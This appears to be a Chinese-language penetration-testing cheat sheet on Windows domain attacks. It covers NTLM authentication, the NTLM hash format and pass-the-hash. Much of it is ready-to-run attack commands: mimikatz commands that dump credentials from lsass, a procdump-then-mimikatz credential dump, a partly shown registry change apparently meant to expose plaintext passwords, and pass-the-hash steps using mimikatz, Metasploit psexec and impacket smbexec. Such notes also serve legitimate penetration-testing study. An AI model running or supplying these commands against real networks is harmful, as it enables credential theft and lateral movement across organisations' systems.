域渗透基础
NTLM
NTLM协议的认证过程分为三步:
1、协商:主要用于确认双方协议版本(NTLM v1/NTLM V2)
2、质询:就是挑战(Challenge)/响应(Response)认证机制起作用的范
3、验证:验证主要是在质询完成后,验证结果,是认证的最后
SSO: 单点登入
SAM数据库: windows本地认证登入, 存储本地账户信息
NTDS数据库: windows域中登入, 存储域账户信息
NTLM生成过程
1 | NTLM HASH产生: |
ntlml hash密码格式:
1 | Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC::: |
PASS THE HASH
目的: 扩大战果, 打个比方 ==> 比如说, 目标的域环境中有大量的域内主机, 渗透拿到其中一个目标的NTLM HASH, 用这个NTLM HASH登入其他主机, 登入成功则拿下另一台主机
关于pth的补丁编号: kb2871997
lsass.exe: 存放账户的NTLM HASH, 账户的明文信息, windows 10 或者 windows server>= 2012, 有做策略无法直接拿到明文账户密码
解决方法:
1 | reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v |
mimikatz
看帮助信息: ::
对当前的操作提权: privilege::debug
生成日志文件: log
(记录所有信息)
列出用户LM&NTLM: sekurlsa::msv
列出用户的明文密码: sekurlsa::wdigest
列出kerberos凭据信息: sekurlsa::kerberos
列出所有的凭据信息: sekurlsa::logonpasswords
mimikatz+procdump抓取密码
procdump -accepteula -ma lsass.exe lsass
mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords"
exit ==> 加exit执行完后可以主动退出
PTH
如果拿到域账户面密码, 可以登入到任意一台主机, 如果拿到了域控的账户密码, 直接登入远程主机的话可以拿到管理员权限
mimikatz的方式: sekurlsa::pth /user:Administrator /ntlm:xxxx /domain:域名
访问: dir \\ip\c$
msf的方式:
exploit/windows/smb/psexec
> set RHOSTS 192.168.1.139
> set SMBPASS LM_HASH:NTLM_HASH
> set domain 域名
> set SMBUSER Administrator
imapcket工具包:
1 | smbexec.py -hashes |